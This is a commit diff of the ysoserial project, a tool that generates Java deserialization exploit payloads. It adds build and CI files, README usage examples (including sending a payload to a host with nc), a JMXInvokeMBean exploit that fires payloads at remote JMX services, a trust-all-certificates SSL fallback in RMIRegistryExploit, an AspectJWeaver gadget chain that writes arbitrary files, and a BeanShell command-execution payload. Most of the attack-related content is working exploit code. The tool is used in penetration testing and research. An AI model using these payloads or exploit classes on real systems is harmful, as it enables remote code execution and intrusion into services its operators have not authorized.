another fix attempt

* fix badge url

* switch to https repo url

.github/workflows/publish.yml

@@ -0,0 +1,38 @@
+name: publish jar
+on:
+  push:
+    tags:
+      - "v*.*.*"
+permissions:
+  contents: write
+
+jobs:
+  publish:
+    runs-on: ubuntu-latest
+    permissions:
+      contents: write
+      packages: write
+    steps:
+      - uses: actions/checkout@v3
+      - uses: actions/setup-java@v3
+        with:
+          java-version: '8'
+          distribution: 'adopt'
+          cache: 'maven'
+      - name: Set version
+        run: mvn versions:set -DnewVersion=${{ github.ref_name }}
+      - name: Build jar
+        run: mvn -B clean package -DskipTests 
+      # - name: publish maven jar
+      #   run: mvn -B deploy -DskipTests -DrepositoryId=github
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+
+      - run: ls -la target/ysoserial-${{ github.ref_name }}-all.jar
+
+      - name: Publish GitHub release
+        uses: softprops/action-gh-release@v1
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}        
+        with:
+          files: target/ysoserial-${{ github.ref_name }}-all.jar

.travis.yml

@@ -1,11 +1,49 @@
 dist: trusty
 language: java
-# Travis CI provides OpenJDK 6, OpenJDK 7, Oracle JDK 7, and Oracle JDK 8.
+
-# Sun JDK 6 is not provided, because it is EOL as of November 2012.
+cache:
-# OpenJDK 8 is available on our Trusty images, specify dist: trusty to make use of it.
+  directories:
-jdk:
+  - $HOME/.m2
-  - oraclejdk8    
+  - $HOME/.mvn/
-  #- oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884
+
-  - openjdk8
+# jdk6 requires workarounds https://github.com/travis-ci/travis-ci/issues/9713
-  - openjdk7
+addons:
-  #- openjdk6 #https://github.com/travis-ci/travis-ci/issues/8199
+  apt:
+    packages:
+      - openjdk-6-jdk
+
+before_install:
+  - > # install mvn 3.2.5 for use with java6
+      which $HOME/.mvn/3.2.5/bin/mvn || mkdir -p $HOME/.mvn/3.2.5 &&
+      curl https://apache.osuosl.org/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.tar.gz |
+      tar xz -C $HOME/.mvn/3.2.5 --strip-components=1
+  - if [ "$TRAVIS_JDK_VERSION" == "openjdk6" ]; then jdk_switcher use openjdk6; fi
+  - mvn -v
+
+after_script:
+  - > # print more detailed info about test results
+      cat target/surefire-reports/TEST-ysoserial.test.payloads.PayloadsTest.xml |
+      grep testcase -A1 | grep -B1 -E 'failure|error|skipped' | grep -v -- --
+
+matrix:
+  fast_finish: true
+  allow_failures:
+    - jdk: oraclejdk11
+    - jdk: openjdk6
+    - jdk: openjdk7
+    - jdk: openjdk9
+    - jdk: openjdk10
+    - jdk: openjdk11
+  include:
+    #- jdk: oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884
+    - jdk: oraclejdk8
+    - jdk: oraclejdk11
+    - jdk: openjdk6
+      env: PATH=$HOME/.mvn/3.2.5/bin:$PATH
+    - jdk: openjdk7
+    - jdk: openjdk8
+    - jdk: openjdk9
+    - jdk: openjdk10
+    - jdk: openjdk11
+
+

Dockerfile

@@ -0,0 +1,23 @@
+FROM maven:3.5-jdk-8 as builder
+
+WORKDIR /app
+
+# download artifacts
+COPY pom.xml .
+COPY assembly.xml .
+RUN mvn dependency:resolve
+RUN mvn verify
+RUN mvn compiler:help
+
+# build
+COPY src ./src
+RUN mvn clean package -DskipTests
+RUN mv target/ysoserial-*all*.jar target/ysoserial.jar
+
+FROM java:8-jdk-alpine
+
+WORKDIR /app
+
+COPY --from=builder /app/target/ysoserial.jar .
+
+ENTRYPOINT ["java", "-jar", "ysoserial.jar"]

README.md

@@ -4,8 +4,10 @@
 [![Join the chat at https://gitter.im/frohoff/ysoserial](
     https://badges.gitter.im/frohoff/ysoserial.svg)](
     https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
-[![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)](
+[![Download Latest Snapshot](https://img.shields.io/badge/download-master-green.svg)](
     https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
+[![Travis Build Status](https://api.travis-ci.com/frohoff/ysoserial.svg?branch=master)](https://travis-ci.com/frohoff/ysoserial)
+[![Appveyor Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)
 
 A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
 
@@ -15,7 +17,7 @@ A proof-of-concept tool for generating payloads that exploit unsafe Java object
 
 Originally released as part of AppSecCali 2015 Talk
 ["Marshalling Pickles: how deserializing objects will ruin your day"](
-        http://frohoff.github.io/appseccali-marshalling-pickles/)
+        https://frohoff.github.io/appseccali-marshalling-pickles/)
 with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x).
 Later updated to include additional gadget chains for
 [JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) and several other libraries.
@@ -39,22 +41,25 @@ are not responsible or liable for misuse of the software. Use responsibly.
 ## Usage
 
 ```shell
-$  java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar
+$  java -jar ysoserial.jar
 Y SO SERIAL?
-Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
+Usage: java -jar ysoserial.jar [payload] '[command]'
   Available payload types:
      Payload             Authors                     Dependencies
      -------             -------                     ------------
+     AspectJWeaver       @Jang                       aspectjweaver:1.9.2, commons-collections:3.2.2
      BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
      C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
+     Click1              @artsploit                  click-nodeps:2.3.0, javax.servlet-api:3.1.0
      Clojure             @JackOfMostTrades           clojure:1.8.0
      CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
      CommonsCollections1 @frohoff                    commons-collections:3.1
      CommonsCollections2 @frohoff                    commons-collections4:4.0
      CommonsCollections3 @frohoff                    commons-collections:3.1
      CommonsCollections4 @frohoff                    commons-collections4:4.0
-     CommonsCollections5 @frohoff                    commons-collections:3.1
+     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
      CommonsCollections6 @matthias_kaiser            commons-collections:3.1
+     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
      FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
      Groovy1             @frohoff                    groovy:2.3.9
      Hibernate1          @mbechler
@@ -66,20 +71,22 @@ Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
      JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
      Jdk7u21             @frohoff
      Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
-     MozillaRhino1       @mbechler                   js:1.7R2
+     MozillaRhino1       @matthias_kaiser            js:1.7R2
+     MozillaRhino2       @_tint0                     js:1.7R2
      Myfaces1            @mbechler
      Myfaces2            @mbechler
      ROME                @mbechler                   rome:1.0
      Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
      Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
      URLDNS              @gebl
-     Wicket1             @jacob-baines               wicket-util:6.23
+     Vaadin1             @kai_ullrich                vaadin-server:7.7.14, vaadin-shared:7.7.14
+     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4
 ```
 
 ## Examples
 
 ```shell
-$ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 calc.exe | xxd
+$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
 0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
 0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
 0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
@@ -88,17 +95,17 @@ $ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 calc.exe | xxd
 0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
 0000570: 0078 7071 007e 003a                      .xpq.~.:
 
-$ java -jar ysoserial-0.0.4-all.jar Groovy1 calc.exe > groovypayload.bin
+$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
 $ nc 10.10.10.10 1099 < groovypayload.bin
 
-$ java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
+$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
 ```
 
 ## Installation
 
 1. Download the latest jar from
 [JitPack](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
-[![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)](
+[![Download Latest Snapshot](https://img.shields.io/badge/download-master-green.svg)](
     https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
 
 Note that GitHub-hosted releases were removed in compliance with the
@@ -114,6 +121,7 @@ Requires Java 1.7+ and Maven 3.x+
 ## Code Status
 
 [![Build Status](https://travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial)
+[![Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)
 
 ## Contributing
 
@@ -123,5 +131,7 @@ Requires Java 1.7+ and Maven 3.x+
 4. Push to the branch (`git push origin my-new-feature`)
 5. Create new Pull Request
 
-## Additional Reading
+## See Also
-* https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
+* [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet): info on vulnerabilities, tools, blogs/write-ups, etc.
+* [marshalsec](https://github.com/frohoff/marshalsec): similar project for various Java deserialization formats/libraries
+* [ysoserial.net](https://github.com/pwntester/ysoserial.net): similar project for .NET deserialization

appveyor.yml

@@ -0,0 +1,40 @@
+# based on https://github.com/GoogleCloudPlatform/google-cloud-java/blob/master/appveyor.yml
+
+# build version
+version: '{build}'
+
+# Do not build on tags
+skip_tags: true
+
+# enviroment settings
+environment:
+  matrix:
+    - JAVA_HOME: C:\Program Files\Java\jdk1.6.0
+      M2_HOME: C:\bin\apache-maven-3.2.5
+    - JAVA_HOME: C:\Program Files\Java\jdk1.7.0
+      MAVEN_OPTS: -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2
+    - JAVA_HOME: C:\Program Files\Java\jdk1.8.0
+
+matrix:
+  allow_failures:
+    - JAVA_HOME: C:\Program Files\Java\jdk1.6.0
+    - JAVA_HOME: C:\Program Files\Java\jdk1.7.0
+
+# install required tools (maven, secure-file, encrypted files)
+install:
+  - cmd: if not exist "C:\bin\apache-maven-3.2.5\bin\*.*" cinst maven --version 3.2.5 --allow-empty-checksums
+  - cmd: echo %JAVA_HOME%
+  - cmd: echo %M2_HOME%
+
+# build and install artifacts
+build_script:
+  - '"%M2_HOME%\bin\mvn" clean install -DskipTests'
+
+# verify artifacts
+test_script:
+  - '"%M2_HOME%\bin\mvn" test'
+
+# preserve dependencies between builds
+cache:
+  - C:\Users\appveyor\.m2
+  - C:\bin\apache-maven-3.2.5

assembly.xml

@@ -0,0 +1,28 @@
+<assembly
+    xmlns="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.3"
+    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+    xsi:schemaLocation="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.3 http://maven.apache.org/xsd/assembly-1.1.3.xsd">
+    <id>fat-tests</id>
+    <formats>
+        <format>jar</format>
+    </formats>
+    <includeBaseDirectory>false</includeBaseDirectory>
+    <dependencySets>
+        <dependencySet>
+            <outputDirectory>/</outputDirectory>
+            <useProjectArtifact>true</useProjectArtifact>
+            <unpack>true</unpack>
+            <scope>test</scope>
+        </dependencySet>
+    </dependencySets>
+    <fileSets>
+        <fileSet>
+            <directory>${project.build.directory}/test-classes</directory>
+            <outputDirectory>/</outputDirectory>
+            <includes>
+                <include>**/*.class</include>
+            </includes>
+            <useDefaultExcludes>true</useDefaultExcludes>
+        </fileSet>
+    </fileSets>
+</assembly>

pom.xml

@@ -4,7 +4,7 @@
 
 	<groupId>ysoserial</groupId>
 	<artifactId>ysoserial</artifactId>
-	<version>0.0.5</version>
+	<version>0.0.6-SNAPSHOT</version>
 	<packaging>jar</packaging>
 
 	<name>ysoserial</name>
@@ -19,11 +19,15 @@
 			<plugin>
 				<groupId>org.apache.maven.plugins</groupId>
 				<artifactId>maven-compiler-plugin</artifactId>
-				<version>3.2</version>
+				<version>3.5.1</version>
 				<configuration>
-					<source>1.5</source>
+					<!-- maximize compatibility -->
-					<target>1.5</target><!-- maximize compatibility -->
+					<source>1.6</source>
-				</configuration>
+					<target>1.6</target>
+					<!-- ignore noisy internal api warnings -->
+                    <compilerArgument>-XDignore.symbol.file</compilerArgument>
+                    <fork>true</fork>
+                </configuration>
 			</plugin>
 			<plugin>
 				<artifactId>maven-assembly-plugin</artifactId>
@@ -35,10 +39,8 @@
 							<mainClass>ysoserial.GeneratePayload</mainClass>
 						</manifest>
 					</archive>
-					<descriptorRefs>
+                    <descriptor>assembly.xml</descriptor>
-						<descriptorRef>jar-with-dependencies</descriptorRef>
+                </configuration>
-					</descriptorRefs>
-				</configuration>
 				<executions>
 					<execution>
 						<id>make-assembly</id>
@@ -52,8 +54,9 @@
 			<plugin>
 		        <groupId>org.apache.maven.plugins</groupId>
 		        <artifactId>maven-surefire-plugin</artifactId>
-                <version>2.20</version>
+                <version>3.0.0-M1</version>
 		        <configuration>
+			        <trimStackTrace>false</trimStackTrace>
 			        <systemPropertyVariables>
 			        	<java.rmi.server.useCodebaseOnly>false</java.rmi.server.useCodebaseOnly>
 			        </systemPropertyVariables>
@@ -66,7 +69,7 @@
 		<repository>
 			<id>jenkins</id>
 			<layout>default</layout>
-			<url>http://repo.jenkins-ci.org/public/</url>
+			<url>https://repo.jenkins-ci.org/public/</url>
 		</repository>
 	</repositories>
 
@@ -110,7 +113,7 @@
 		<dependency>
 			<groupId>org.jboss.shrinkwrap.resolver</groupId>
 			<artifactId>shrinkwrap-resolver-depchain</artifactId>
-			<version>2.1.1</version>
+			<version>2.2.6</version>
 			<type>pom</type>
 		</dependency>
 		<dependency>
@@ -118,11 +121,21 @@
 			<artifactId>javassist</artifactId>
 			<version>3.19.0-GA</version>
 		</dependency>
+		<dependency>
+			<groupId>com.nqzero</groupId>
+			<artifactId>permit-reflect</artifactId>
+			<version>0.3</version>
+		</dependency>
 		<dependency>
 			<groupId>commons-codec</groupId>
 			<artifactId>commons-codec</artifactId>
 			<version>1.9</version>
 		</dependency>
+        <dependency>
+            <groupId>commons-io</groupId>
+            <artifactId>commons-io</artifactId>
+            <version>2.6</version>
+        </dependency>
 		<dependency>
 			<artifactId>remoting</artifactId>
 			<groupId>org.jenkins-ci.main</groupId>
@@ -223,7 +236,7 @@
 			<artifactId>commons-fileupload</artifactId>
 			<version>1.3</version>
 		</dependency>
-		<dependency>
+        <dependency>
 			<groupId>org.apache.wicket</groupId>
 			<artifactId>wicket-util</artifactId>
 			<version>6.23.0</version>
@@ -298,14 +311,71 @@
 			<artifactId>slf4j-api</artifactId>
 			<version>1.7.21</version>
 		</dependency>
+        <dependency>
+            <groupId>org.slf4j</groupId>
+            <artifactId>slf4j-jdk14</artifactId>
+            <version>1.7.21</version>
+        </dependency>
 		<dependency>
 			<groupId>org.clojure</groupId>
 			<artifactId>clojure</artifactId>
 			<version>1.8.0</version>
 		</dependency>
+		<dependency>
+			<groupId>com.vaadin</groupId>
+			<artifactId>vaadin-server</artifactId>
+			<version>7.7.14</version>
+		</dependency>
+        <dependency>
+            <groupId>org.aspectj</groupId>
+            <artifactId>aspectjweaver</artifactId>
+            <version>1.9.5</version>
+        </dependency>
+        <dependency>
+            <groupId>org.apache.click</groupId>
+            <artifactId>click-nodeps</artifactId>
+            <version>2.3.0</version>
+        </dependency>
 	</dependencies>
 
 	<profiles>
+        <profile>
+            <id>jdk6</id>
+            <activation>
+                <jdk>1.6</jdk>
+            </activation>
+            <build>
+                <plugins>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-surefire-plugin</artifactId>
+                        <version>2.22.1</version>
+                    </plugin>
+                </plugins>
+            </build>
+            <dependencies>
+                <dependency>
+                    <groupId>javax.el</groupId>
+                    <artifactId>javax.el-api</artifactId>
+                    <version>3.0.0</version>
+                </dependency>
+            </dependencies>
+            <!-- workaround for non-overlapping TLS versions in JDK6 and central repo
+             https://central.sonatype.org/articles/2018/May/04/discontinued-support-for-tlsv11-and-below/ -->
+            <repositories>
+                <repository>
+                    <id>repo1</id>
+                    <url>http://repo1.maven.org/maven2</url><!-- intentionally http (see above) -->
+                </repository>
+            </repositories>
+            <pluginRepositories>
+                <pluginRepository>
+                    <id>repo1</id>
+                    <url>http://repo1.maven.org/maven2</url><!-- intentionally http (see above) -->
+                </pluginRepository>
+            </pluginRepositories>
+        </profile>
+
 		<profile>
 			<id>hibernate5</id>
 			<activation>
@@ -319,6 +389,11 @@
 					<artifactId>hibernate-core</artifactId>
 					<version>5.0.7.Final</version>
 				</dependency>
+                <dependency>
+                    <groupId>javax.el</groupId>
+                    <artifactId>javax.el-api</artifactId>
+                    <version>3.0.0</version>
+                </dependency>
 			</dependencies>
 		</profile>
 
@@ -363,4 +438,11 @@
 		</profile>
 
 	</profiles>
+    <distributionManagement>
+        <repository>
+            <id>github</id>
+            <name>GitHub Packages</name>
+            <url>https://maven.pkg.github.com/frohoff/ysoserial</url>
+        </repository>
+    </distributionManagement>	
 </project>

src/main/java/ysoserial/exploit/JBoss.java

@@ -64,6 +64,7 @@ import org.xnio.ssl.JsseXnioSsl;
 import org.xnio.ssl.XnioSsl;
 
 import ysoserial.payloads.ObjectPayload.Utils;
+import ysoserial.payloads.util.Reflections;
 
 
 /**
@@ -272,7 +273,7 @@ public class JBoss {
         VersionedConnection vc;
         Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
         Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
-        vcCreate.setAccessible(true);
+        Reflections.setAccessible(vcCreate);
         vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
         return vc;
     }
@@ -335,6 +336,7 @@ public class JBoss {
         public void close () throws SecurityException {}
     }
 
+    @SuppressWarnings({"deprecation"})
     private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
 
         private ConnectionProviderContextImpl context;

src/main/java/ysoserial/exploit/JMXInvokeMBean.java

@@ -0,0 +1,39 @@
+package ysoserial.exploit;
+
+import javax.management.MBeanServerConnection;
+import javax.management.ObjectName;
+import javax.management.remote.JMXConnector;
+import javax.management.remote.JMXConnectorFactory;
+import javax.management.remote.JMXServiceURL;
+
+import ysoserial.payloads.ObjectPayload.Utils;
+
+/*
+ * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
+ * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
+ * 
+ */
+public class JMXInvokeMBean {
+
+	public static void main(String[] args) throws Exception {
+	
+		if ( args.length < 4 ) {
+			System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
+			System.exit(-1);
+		}
+    	
+		JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
+        
+		JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
+		MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
+
+		// create the payload
+		Object payloadObject = Utils.makePayloadObject(args[2], args[3]);   
+		ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
+
+		mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
+
+		//close the connection
+		jmxConnector.close();
+    }
+}

src/main/java/ysoserial/exploit/JRMPListener.java

@@ -293,6 +293,7 @@ public class JRMPListener implements Runnable {
         }
     }
 
+    @SuppressWarnings({"deprecation"})
     protected static Object makeDummyObject (String className) {
         try {
             ClassLoader isolation = new ClassLoader() {};

src/main/java/ysoserial/exploit/JenkinsCLI.java

@@ -24,6 +24,7 @@ import hudson.remoting.Channel;
 import hudson.remoting.Channel.Mode;
 import hudson.remoting.ChannelBuilder;
 import ysoserial.payloads.ObjectPayload.Utils;
+import ysoserial.payloads.util.Reflections;
 
 /**
  * Jenkins CLI client
@@ -73,7 +74,7 @@ public class JenkinsCLI {
             throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
         Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
         Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
-        reqCons.setAccessible(true);
+        Reflections.setAccessible(reqCons);
         Object getJarLoader = reqCons
                 .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] {
                     prop

src/main/java/ysoserial/exploit/JenkinsListener.java

@@ -117,7 +117,7 @@ public class JenkinsListener {
     private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class<?> reqClass )
             throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
         Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
-        reqCons.setAccessible(true);
+        Reflections.setAccessible(reqCons);
         return reqCons
                 .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
                     uro,

src/main/java/ysoserial/exploit/RMIRegistryExploit.java

@@ -1,9 +1,15 @@
 package ysoserial.exploit;
 
+import java.io.IOException;
+import java.net.Socket;
+import java.rmi.ConnectIOException;
 import java.rmi.Remote;
 import java.rmi.registry.LocateRegistry;
 import java.rmi.registry.Registry;
+import java.rmi.server.RMIClientSocketFactory;
+import java.security.cert.X509Certificate;
 import java.util.concurrent.Callable;
+import javax.net.ssl.*;
 
 import ysoserial.payloads.CommonsCollections1;
 import ysoserial.payloads.ObjectPayload;
@@ -20,14 +26,41 @@ import ysoserial.secmgr.ExecCheckingSecurityManager;
  */
 @SuppressWarnings({"rawtypes", "unchecked"})
 public class RMIRegistryExploit {
+	private static class TrustAllSSL implements X509TrustManager {
+		private static final X509Certificate[] ANY_CA = {};
+		public X509Certificate[] getAcceptedIssuers() { return ANY_CA; }
+		public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
+		public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
+	}
+
+	private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
+		public Socket createSocket(String host, int port) throws IOException {
+			try {
+				SSLContext ctx = SSLContext.getInstance("TLS");
+				ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);
+				SSLSocketFactory factory = ctx.getSocketFactory();
+				return factory.createSocket(host, port);
+			} catch(Exception e) {
+				throw new IOException(e);
+			}
+		}
+	}
+
 	public static void main(final String[] args) throws Exception {
 		final String host = args[0];
 		final int port = Integer.parseInt(args[1]);
 		final String command = args[3];
-		final Registry registry = LocateRegistry.getRegistry(host, port);
+		Registry registry = LocateRegistry.getRegistry(host, port);
 		final String className = CommonsCollections1.class.getPackage().getName() +  "." + args[2];
 		final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
 
+		// test RMI registry connection and upgrade to SSL connection on fail
+		try {
+			registry.list();
+		} catch(ConnectIOException ex) {
+			registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
+		}
+
 		// ensure payload doesn't detonate during construction or deserialization
 		exploit(registry, payloadClass, command);
 	}
@@ -35,7 +68,7 @@ public class RMIRegistryExploit {
 	public static void exploit(final Registry registry,
 			final Class<? extends ObjectPayload> payloadClass,
 			final String command) throws Exception {
-		new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception {
+		new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
 			ObjectPayload payloadObj = payloadClass.newInstance();
             Object payload = payloadObj.getObject(command);
 			String name = "pwned" + System.nanoTime();

src/main/java/ysoserial/payloads/AspectJWeaver.java

@@ -0,0 +1,107 @@
+package ysoserial.payloads;
+
+import org.apache.commons.codec.binary.Base64;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.LazyMap;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.io.Serializable;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+
+/*
+Gadget chain:
+HashSet.readObject()
+    HashMap.put()
+        HashMap.hash()
+            TiedMapEntry.hashCode()
+                TiedMapEntry.getValue()
+                    LazyMap.get()
+                        SimpleCache$StorableCachingMap.put()
+                            SimpleCache$StorableCachingMap.writeToPath()
+                                FileOutputStream.write()
+
+Usage:
+args = "<filename>;<base64 content>"
+Example:
+java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
+
+More information:
+https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
+ */
+@PayloadTest(skip="non RCE")
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
+@Authors({ Authors.JANG })
+
+public class AspectJWeaver implements ObjectPayload<Serializable> {
+
+    public Serializable getObject(final String command) throws Exception {
+        int sep = command.lastIndexOf(';');
+        if ( sep < 0 ) {
+            throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
+        }
+        String[] parts = command.split(";");
+        String filename = parts[0];
+        byte[] content = Base64.decodeBase64(parts[1]);
+
+        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
+        Object simpleCache = ctor.newInstance(".", 12);
+        Transformer ct = new ConstantTransformer(content);
+        Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
+        TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
+        HashSet map = new HashSet(1);
+        map.add("foo");
+        Field f = null;
+        try {
+            f = HashSet.class.getDeclaredField("map");
+        } catch (NoSuchFieldException e) {
+            f = HashSet.class.getDeclaredField("backingMap");
+        }
+
+        Reflections.setAccessible(f);
+        HashMap innimpl = (HashMap) f.get(map);
+
+        Field f2 = null;
+        try {
+            f2 = HashMap.class.getDeclaredField("table");
+        } catch (NoSuchFieldException e) {
+            f2 = HashMap.class.getDeclaredField("elementData");
+        }
+
+        Reflections.setAccessible(f2);
+        Object[] array = (Object[]) f2.get(innimpl);
+
+        Object node = array[0];
+        if(node == null){
+            node = array[1];
+        }
+
+        Field keyField = null;
+        try{
+            keyField = node.getClass().getDeclaredField("key");
+        }catch(Exception e){
+            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
+        }
+
+        Reflections.setAccessible(keyField);
+        keyField.set(node, entry);
+
+        return map;
+
+    }
+
+    public static void main(String[] args) throws Exception {
+        args = new String[]{"ahi.txt;YWhpaGloaQ=="};
+        PayloadRunner.run(AspectJWeaver.class, args);
+    }
+}

src/main/java/ysoserial/payloads/BeanShell1.java

@@ -5,9 +5,11 @@ import bsh.XThis;
 
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Proxy;
+import java.util.Arrays;
 import java.util.Comparator;
 import java.util.PriorityQueue;
 
+import ysoserial.Strings;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.util.Reflections;
 import ysoserial.payloads.annotation.Dependencies;
@@ -24,7 +26,13 @@ public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQ
 
     public PriorityQueue getObject(String command) throws Exception {
 	// BeanShell payload
-	String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"" + command + "\"}).start();return new Integer(1);}";
+
+        String payload =
+            "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
+                Strings.join( // does not support spaces in quotes
+                    Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
+                    ",", "\"", "\"") +
+                "}).start();return new Integer(1);}";
 
 	// Create Interpreter
 	Interpreter i = new Interpreter();

src/main/java/ysoserial/payloads/C3P0.java

@@ -38,7 +38,7 @@ import ysoserial.payloads.util.Reflections;
  * @author mbechler
  *
  */
-@PayloadTest ( harness = "ysoserial.payloads.RemoteClassLoadingTest" )
